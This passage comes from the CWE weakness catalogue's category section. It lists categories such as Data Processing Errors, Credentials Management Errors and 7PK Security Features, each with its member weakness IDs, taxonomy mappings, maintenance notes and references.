HasMember	V	13	ASP.NET Misconfiguration: Password in Configuration File	700	12
HasMember	V	14	Compiler Removal of Code to Clear Buffers	700	14

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

Category-16: Configuration

Category ID : 16 **Status:** Obsolete

Summary

Weaknesses in this category are typically introduced during the configuration of the software.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	C	933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	928	1931
MemberOf	C	1032	OWASP Top Ten 2017 Category A6 - Security Misconfiguration	1026	1977

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	14		Server Misconfiguration
WASC	15		Application Misconfiguration

Notes

Maintenance

Further discussion about this category was held over the CWE Research mailing list in early 2020. No definitive action has been decided.

Maintenance

This entry is a Category, but various sources map to it anyway despite CWE guidance that Categories should not be mapped. In this case, there are no clear CWE Weaknesses that can be utilized. "Inappropriate Configuration" might be better described as a Weakness, so this entry might be converted to a Weakness in a later version. Further research is required, however, as a "configuration weakness" might be Primary to many other CWEs, i.e., it might be better described in terms of chaining relationships.

Category-19: Data Processing Errors

Category ID : 19 **Status:** Draft

Summary

Weaknesses in this category are typically found in functionality that processes data. Data processing is the manipulation of input to retrieve or save information.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	130	Improper Handling of Length Parameter Inconsistency	699	321
HasMember	B	166	Improper Handling of Missing Special Element	699	390
HasMember	B	167	Improper Handling of Additional Special Element	699	392
HasMember	B	168	Improper Handling of Inconsistent Special Elements	699	394
HasMember	B	178	Improper Handling of Case Sensitivity	699	411
HasMember	B	182	Collapse of Data into Unsafe Value	699	422
HasMember	B	186	Overly Restrictive Regular Expression	699	431
HasMember	B	229	Improper Handling of Values	699	521
HasMember	B	233	Improper Handling of Parameters	699	525
HasMember	B	237	Improper Handling of Structural Elements	699	531
HasMember	B	241	Improper Handling of Unexpected Data Type	699	534
HasMember	B	409	Improper Handling of Highly Compressed Data (Data Amplification)	699	890
HasMember	B	471	Modification of Assumed-Immutable Data (MAID)	699	999
HasMember	B	472	External Control of Assumed-Immutable Web Parameter	699	1001
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	699	1195
HasMember	B	611	Improper Restriction of XML External Entity Reference	699	1215
HasMember	B	624	Executable Regular Expression Error	699	1236
HasMember	B	625	Permissive Regular Expression	699	1237
HasMember	B	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	699	1440
HasMember	B	1024	Comparison of Incompatible Types	699	1637

Category-133: String Errors

Category ID : 133 **Status:** Draft

Summary

Weaknesses in this category are related to the creation and modification of strings.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	134	Use of Externally-Controlled Format String	699	334
HasMember	B	135	Incorrect Calculation of Multi-Byte String Length	699	339
HasMember	V	597	Use of Wrong Operator in String Comparison	699	1189

Category-136: Type Errors

Category ID : 136 **Status:** Draft

Summary

Weaknesses in this category are caused by improper data type transformation or improper handling of multiple data types.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	681	Incorrect Conversion between Numeric Types	699	1322
HasMember	B	843	Access of Resource Using Incompatible Type ('Type Confusion')	699	1563

Category-137: Data Neutralization Issues

Category ID : 137 **Status:** Draft

Summary

Weaknesses in this category are related to the creation or neutralization of data using an incorrect format.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	76	Improper Neutralization of Equivalent Special Elements	699	135
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	699	141
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	699	152
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	699	181
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	699	187
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	699	198
HasMember	B	91	XML Injection (aka Blind XPath Injection)	699	200
HasMember	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	699	202
HasMember	B	94	Improper Control of Generation of Code ('Code Injection')	699	204
HasMember	B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	699	213
HasMember	B	117	Improper Output Neutralization for Logs	699	266
HasMember	B	140	Improper Neutralization of Delimiters	699	345
HasMember	B	170	Improper Null Termination	699	395
HasMember	B	188	Reliance on Data/Memory Layout	699	435
HasMember	B	462	Duplicate Key in Associative List (Alist)	699	983
HasMember	B	463	Deletion of Data Structure Sentinel	699	984
HasMember	B	464	Addition of Data Structure Sentinel	699	986
HasMember	B	641	Improper Restriction of Names for Files and Other Resources	699	1256
HasMember	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	699	1263
HasMember	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	699	1278

Nature	Type	ID	Name	V	Page
HasMember	B	791	Incomplete Filtering of Special Elements	699	1478
HasMember	B	795	Only Filtering Special Elements at a Specified Location	699	1483
HasMember	B	838	Inappropriate Encoding for Output Context	699	1551
HasMember	B	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')	699	1598
HasMember	B	1236	Improper Neutralization of Formula Elements in a CSV File	699	1756

Category-189: Numeric Errors

Category ID : 189 **Status:** Draft

Summary

Weaknesses in this category are related to improper calculation or conversion of numbers.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	V	699	Software Development	699	2025
HasMember	B	128	Wrap-around Error	699	309
HasMember	B	190	Integer Overflow or Wraparound	699	437
HasMember	B	191	Integer Underflow (Wrap or Wraparound)	699	444
HasMember	V	192	Integer Coercion Error	699	446
HasMember	B	193	Off-by-one Error	699	449
HasMember	B	197	Numeric Truncation Error	699	461
HasMember	B	198	Use of Incorrect Byte Ordering	699	465
HasMember	B	369	Divide By Zero	699	818
HasMember	B	681	Incorrect Conversion between Numeric Types	699	1322
HasMember	B	839	Numeric Range Comparison Without Minimum Check	699	1554
HasMember	V	1077	Floating Point Comparison with Incorrect Operator	699	1678

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
SEI CERT Perl Coding Standard	INT01-PL	CWE More Abstract	Use small integers when precise computation is required

Category-199: Information Management Errors

Category ID : 199 **Status:** Draft

Summary

Weaknesses in this category are related to improper handling of sensitive information.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	201	Exposure of Sensitive Information Through Sent Data	699	474

Nature	Type	ID	Name	V	Page
HasMember	B	204	Observable Response Discrepancy	699	482
HasMember	B	205	Observable Behavioral Discrepancy	699	485
HasMember	B	208	Observable Timing Discrepancy	699	488
HasMember	B	209	Generation of Error Message Containing Sensitive Information	699	490
HasMember	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	699	500
HasMember	B	213	Exposure of Sensitive Information Due to Incompatible Policies	699	503
HasMember	B	214	Invocation of Process Using Visible Sensitive Information	699	505
HasMember	B	215	Insertion of Sensitive Information Into Debugging Code	699	507
HasMember	B	312	Cleartext Storage of Sensitive Information	699	693
HasMember	B	319	Cleartext Transmission of Sensitive Information	699	705
HasMember	B	359	Exposure of Private Personal Information to an Unauthorized Actor	699	788
HasMember	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	699	1062
HasMember	B	524	Use of Cache Containing Sensitive Information	699	1096
HasMember	B	532	Insertion of Sensitive Information into Log File	699	1104
HasMember	B	540	Inclusion of Sensitive Information in Source Code	699	1113
HasMember	B	921	Storage of Sensitive Data in a Mechanism without Access Control	699	1602
HasMember	B	1230	Exposure of Sensitive Information Through Metadata	699	1746

Category-227: 7PK - API Abuse

Category ID : 227 **Status:** Draft

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that involve the software using an API in a manner contrary to its intended use. According to the authors of the Seven Pernicious Kingdoms, "An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call chdir() after calling chroot(), it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses SecureRandom and returns a non-random value, the contract is violated."

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms	700	2027
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959
HasMember	B	242	Use of Inherently Dangerous Function	700	536
HasMember	V	243	Creation of chroot Jail Without Changing Working Directory	700	538

Nature	Type	ID	Name	V	Page
HasMember	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	700	540
HasMember	V	245	J2EE Bad Practices: Direct Management of Connections	700	541
HasMember	V	246	J2EE Bad Practices: Direct Use of Sockets	700	543
HasMember	B	248	Uncaught Exception	700	545
HasMember	B	250	Execution with Unnecessary Privileges	700	547
HasMember	C	251	Often Misused: String Management	700	1854
HasMember	B	252	Unchecked Return Value	700	553
HasMember	V	558	Use of getlogin() in Multithreaded Application	700	1130

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	WIN30-C	CWE More Abstract	Properly pair allocation and deallocation functions

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

Category-251: Often Misused: String Management

Category ID : 251 **Status:** Incomplete

Summary

Functions that manipulate strings encourage buffer overflows.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	1853
MemberOf	C	974	SFP Secondary Cluster: Incorrect Buffer Length Computation	888	1946

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Often Misused: Strings
Software Fault Patterns	SFP10		Incorrect Buffer Length Computation

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

Category-254: 7PK - Security Features

Category ID : 254 **Status:** Incomplete

Summary

Software security is not security software. Here we're concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms	700	2027
HasMember	B	256	Unprotected Storage of Credentials	700	562
HasMember	V	258	Empty Password in Configuration File	700	567
HasMember	V	259	Use of Hard-coded Password	700	569
HasMember	B	260	Password in Configuration File	700	573
HasMember	B	261	Weak Encoding for Password	700	575
HasMember	B	272	Least Privilege Violation	700	598
HasMember	P	284	Improper Access Control	700	619
HasMember	C	285	Improper Authorization	700	623
HasMember	C	330	Use of Insufficiently Random Values	700	730
HasMember	B	359	Exposure of Private Personal Information to an Unauthorized Actor	700	788
HasMember	B	798	Use of Hard-coded Credentials	700	1486

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Security Features

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

Category-255: Credentials Management Errors

Category ID : 255 **Status:** Draft

Summary

Weaknesses in this category are related to the management of credentials.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	V	699	Software Development	699	2025
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
HasMember	B	256	Unprotected Storage of Credentials	699	562
HasMember	B	257	Storing Passwords in a Recoverable Format	699	564
HasMember	B	260	Password in Configuration File	699	573
HasMember	B	261	Weak Encoding for Password	699	575
HasMember	B	262	Not Using Password Aging	699	577
HasMember	B	263	Password Aging with Long Expiration	699	579

Nature	Type	ID	Name	V	Page
HasMember	B	324	Use of a Key Past its Expiration Date	699	715
HasMember	B	521	Weak Password Requirements	699	1089
HasMember	B	523	Unprotected Transport of Credentials	699	1095
HasMember	B	549	Missing Password Field Masking	699	1122
HasMember	B	620	Unverified Password Change	699	1229
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	699	1253
HasMember	B	798	Use of Hard-coded Credentials	699	1486
HasMember	B	916	Use of Password Hash With Insufficient Computational Effort	699	1594

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

Category-264: Permissions, Privileges, and Access Controls

Category ID : 264 **Status:** Obsolete

Summary

Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Permissions, Privileges, and ACLs

Notes

Maintenance

This entry heavily overlaps other categories and has been marked obsolete.

Maintenance

This entry is a Category, but various sources map to it anyway despite CWE guidance that Categories should not be mapped. Future mappings should use an appropriate weakness going forward.

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

Category-265: Privilege Issues

Category ID : 265 **Status:** Incomplete

Summary

Weaknesses in this category occur with improper handling, assignment, or management of privileges. A privilege is a property of an agent, such as a user. It lets the agent do things that are not ordinarily allowed. For example, there are privileges which allow an agent to perform maintenance functions such as restart a computer.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	V	243	Creation of chroot Jail Without Changing Working Directory	699	538
HasMember	B	250	Execution with Unnecessary Privileges	699	547
HasMember	B	266	Incorrect Privilege Assignment	699	580
HasMember	B	267	Privilege Defined With Unsafe Actions	699	583
HasMember	B	268	Privilege Chaining	699	586
HasMember	B	270	Privilege Context Switching Error	699	593
HasMember	B	272	Least Privilege Violation	699	598
HasMember	B	273	Improper Check for Dropped Privileges	699	601
HasMember	B	274	Improper Handling of Insufficient Privileges	699	604
HasMember	B	280	Improper Handling of Insufficient Permissions or Privileges	699	613
HasMember	B	501	Trust Boundary Violation	699	1071
HasMember	V	580	clone() Method Without super.clone()	699	1166
HasMember	B	648	Incorrect Use of Privileged APIs	699	1271

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Privilege / sandbox errors

Notes

Relationship

This can strongly overlap authorization errors.

Theoretical

A sandbox could be regarded as an explicitly defined sphere of control, in that the sandbox only defines a limited set of behaviors, which can only access a limited set of resources.

Theoretical

It could be argued that any privilege problem occurs within the context of a sandbox.

Research Gap

Many of the following concepts require deeper study. Most privilege problems are not classified at such a low level of detail, and terminology is very sparse. Certain classes of software, such as web browsers and software bug trackers, provide a rich set of examples for further research. Operating systems have matured to the point that these kinds of weaknesses are rare, but finer-grained models for privileges, capabilities, or roles might introduce subtler issues.

Category-275: Permission Issues

Category ID : 275 **Status:** Draft

Summary

Weaknesses in this category are related to improper assignment or handling of permissions.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
HasMember	B	276	Incorrect Default Permissions	699	606
HasMember	V	277	Insecure Inherited Permissions	699	609
HasMember	V	278	Insecure Preserved Inherited Permissions	699	610
HasMember	V	279	Incorrect Execution-Assigned Permissions	699	611
HasMember	B	280	Improper Handling of Insufficient Permissions or Privileges	699	613
HasMember	B	281	Improper Preservation of Permissions	699	615
HasMember	B	618	Exposed Unsafe ActiveX Method	699	1226
HasMember	V	766	Critical Data Element Declared Public	699	1415
HasMember	V	767	Access to Critical Private Variable via Public Method	699	1418

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Permission errors
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

Notes

Terminology

Permissions are associated with a resource and specify which actors are allowed to access that resource and what they are allowed to do with that access (e.g., read it, modify it). While Privileges are associated with an actor and define which behaviors or actions an actor is allowed to perform.

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

Category-310: Cryptographic Issues

Category ID : 310 **Status:** Draft

Summary

Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	V	699	Software Development	699	2025
HasMember	B	261	Weak Encoding for Password	699	575

Nature	Type	ID	Name	V	Page
HasMember	B	324	Use of a Key Past its Expiration Date	699	715
HasMember	B	325	Missing Required Cryptographic Step	699	717
HasMember	B	328	Reversible One-Way Hash	699	726
HasMember	B	331	Insufficient Entropy	699	736
HasMember	B	334	Small Space of Random Values	699	742
HasMember	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	699	744
HasMember	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	699	748
HasMember	B	347	Improper Verification of Cryptographic Signature	699	764
HasMember	B	916	Use of Password Hash With Insufficient Computational Effort	699	1594
HasMember	B	1240	Use of a Risky Cryptographic Primitive	699	1759

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Cryptographic Issues

Notes

Maintenance

This entry is a Category, but various sources map to it anyway despite CWE guidance that Categories should not be mapped. Future mappings should use an appropriate weakness going forward.

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

Category-320: Key Management Errors

Category ID : 320 **Status:** Obsolete

Summary

Weaknesses in this category are related to errors in the management of cryptographic keys.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	1931
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	1976
HasMember	V	321	Use of Hard-coded Cryptographic Key	699	709
HasMember	B	322	Key Exchange without Entity Authentication	699	711
HasMember	V	323	Reusing a Nonce, Key Pair in Encryption	699	713
HasMember	B	324	Use of a Key Past its Expiration Date	699	715

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Key Management Errors

Notes

Maintenance

This entry heavily overlaps other categories and has been marked obsolete.

Maintenance

This entry is a Category, but various sources map to it anyway despite CWE guidance that Categories should not be mapped. Future mappings should use an appropriate weakness going forward.

Category-355: User Interface Security Issues

Category ID : 355 **Status:** Draft

Summary

Weaknesses in this category are related to or introduced in the User Interface (UI).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	V	317	Cleartext Storage of Sensitive Information in GUI	699	703
HasMember	B	356	Product UI does not Warn User of Unsafe Actions	699	784
HasMember	B	357	Insufficient UI Warning of Dangerous Operations	699	785
HasMember	B	447	Unimplemented or Unsupported Feature in UI	699	957
HasMember	B	448	Obsolete Feature in UI	699	959
HasMember	B	449	The UI Performs the Wrong Action	699	960
HasMember	B	450	Multiple Interpretations of UI Input	699	961
HasMember	B	549	Missing Password Field Masking	699	1122
HasMember	B	1007	Insufficient Visual Distinction of Homoglyphs Presented to User	699	1628
HasMember	B	1021	Improper Restriction of Rendered UI Layers or Frames	699	1631

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			(UI) User Interface Errors

Notes

Research Gap

User interface errors that are relevant to security have not been studied at a high level.

Category-361: 7PK - Time and State

Category ID : 361 **Status:** Incomplete

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses related to the improper management of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. According to the authors of the Seven Pernicious Kingdoms, "Distributed computation is about time and state. That is, in order for more than one component to communicate, state must be shared, and all that takes time. Most programmers anthropomorphize

their work. They think about one thread of control carrying out the entire program in the same way they would if they had to do the job themselves. Modern computers, however, switch between tasks very quickly, and in multi-core, multi-CPU, or distributed systems, two events may take place at exactly the same time. Defects rush to fill the gap between the programmer's model of how a program executes and what happens in reality. These defects are related to unexpected interactions between threads, processes, time, and information. These interactions happen through shared state: semaphores, variables, the file system, and, basically, anything that can store information."

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms	700	2027
HasMember	B	364	Signal Handler Race Condition	700	802
HasMember	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	700	812
HasMember	C	377	Insecure Temporary File	700	829
HasMember	V	382	J2EE Bad Practices: Use of System.exit()	700	836
HasMember	V	383	J2EE Bad Practices: Direct Use of Threads	700	837
HasMember	A	384	Session Fixation	700	839
HasMember	B	412	Unrestricted Externally Accessible Lock	700	893

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

Category-371: State Issues

Category ID : 371 **Status:** Draft

Summary

Weaknesses in this category are related to improper management of system state.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	15	External Control of System or Configuration Setting	699	17
HasMember	B	372	Incomplete Internal State Distinction	699	823
HasMember	B	374	Passing Mutable Objects to an Untrusted Method	699	824
HasMember	B	375	Returning a Mutable Object to an Untrusted Caller	699	827
HasMember	B	1265	Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls	699	1802

Category-387: Signal Errors

Category ID : 387 **Status:** Incomplete

Summary

Weaknesses in this category are related to the improper handling of signals.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	364	Signal Handler Race Condition	699	802
HasMember	B	432	Dangerous Signal Handler not Disabled During Sensitive Operations	699	932
HasMember	B	828	Signal Handler with Functionality that is not Asynchronous-Safe	699	1528
HasMember	B	831	Signal Handler Function Associated with Multiple Signals	699	1539

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Signal Errors

Notes

Maintenance

Several sub-categories could exist, but this needs more study. Some sub-categories might be unhandled signals, untrusted signals, and sending the wrong signals.

Category-388: 7PK - Errors

Category ID : 388 **Status:** Draft

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that occur when an application does not properly handle errors that occur during processing. According to the authors of the Seven Pernicious Kingdoms, "Errors and error handling represent a class of API. Errors related to error handling are so common that they deserve a special kingdom of their own. As with 'API Abuse,' there are two ways to introduce an error-related security vulnerability: the most common one is handling errors poorly (or not at all). The second is producing errors that either give out too much information (to possible attackers) or are difficult to handle."

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms	700	2027
HasMember	B	391	Unchecked Error Condition	700	850
HasMember	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	700	857
HasMember	B	396	Declaration of Catch for Generic Exception	700	860
HasMember	B	397	Declaration of Throws for Generic Exception	700	862

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

Category-389: Error Conditions, Return Values, Status Codes

Category ID : 389 **Status:** Incomplete

Summary

This category includes weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. This type of problem is most often found in conditions that are rarely encountered during the normal operation of the product. Presumably, most bugs related to common conditions are found and eliminated during development and testing. In some cases, the attacker can directly control or influence the environment to trigger the rare conditions.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
MemberOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	1878
HasMember	B	209	Generation of Error Message Containing Sensitive Information	699	490
HasMember	B	248	Uncaught Exception	699	545
HasMember	B	252	Unchecked Return Value	699	553
HasMember	B	253	Incorrect Check of Function Return Value	699	560
HasMember	B	390	Detection of Error Condition Without Action	699	845
HasMember	B	391	Unchecked Error Condition	699	850
HasMember	B	392	Missing Report of Error Condition	699	853
HasMember	B	393	Return of Wrong Status Code	699	854
HasMember	B	394	Unexpected Status Code or Return Value	699	856
HasMember	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	699	857
HasMember	B	396	Declaration of Catch for Generic Exception	699	860
HasMember	B	397	Declaration of Throws for Generic Exception	699	862
HasMember	B	544	Missing Standardized Error Handling Mechanism	699	1117
HasMember	B	584	Return Inside Finally Block	699	1171
HasMember	B	600	Uncaught Exception in Servlet	699	1193
HasMember	B	617	Reachable Assertion	699	1224
HasMember	B	756	Missing Custom Error Page	699	1390
HasMember	B	1069	Empty Exception Block	699	1670

Notes

Other

Many researchers focus on the resultant weaknesses and do not necessarily diagnose whether a rare condition is the primary factor. However, since 2005 it seems to be reported more frequently than in the past. This subject needs more study.

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

Category-398: 7PK - Code Quality

Category ID : 398 **Status:** Draft

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that do not directly introduce a weakness or vulnerability, but indicate that the product has not been carefully developed or maintained. According to the authors of the Seven Pernicious Kingdoms, "Poor code quality leads to unpredictable behavior. From a user's perspective that often manifests itself as poor usability. For an adversary it provides an opportunity to stress the system in unexpected ways."

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms	700	2027
MemberOf	C	978	SFP Secondary Cluster: Implementation	888	1948
HasMember	V	401	Missing Release of Memory after Effective Lifetime	700	872
HasMember	C	404	Improper Resource Shutdown or Release	700	877
HasMember	V	415	Double Free	700	901
HasMember	V	416	Use After Free	700	904
HasMember	V	457	Use of Uninitialized Variable	700	975
HasMember	B	474	Use of Function with Inconsistent Implementations	700	1006
HasMember	B	475	Undefined Behavior for Input to API	700	1008
HasMember	B	476	NULL Pointer Dereference	700	1009
HasMember	B	477	Use of Obsolete Function	700	1015

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

Category-399: Resource Management Errors

Category ID : 399 **Status:** Draft

Summary

Weaknesses in this category are related to improper management of system resources.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	V	699	Software Development	699	2025
HasMember	B	73	External Control of File Name or Path	699	125
HasMember	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	699	876
HasMember	B	410	Insufficient Resource Pool	699	891
HasMember	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	699	996
HasMember	B	502	Deserialization of Untrusted Data	699	1072
HasMember	B	619	Dangling Database Cursor ('Cursor Injection')	699	1228
HasMember	B	641	Improper Restriction of Names for Files and Other Resources	699	1256
HasMember	B	694	Use of Multiple Resources with Duplicate Identifier	699	1346

Nature	Type	ID	Name	V	Page
HasMember	B	763	Release of Invalid Pointer or Reference	699	1408
HasMember	B	770	Allocation of Resources Without Limits or Throttling	699	1422
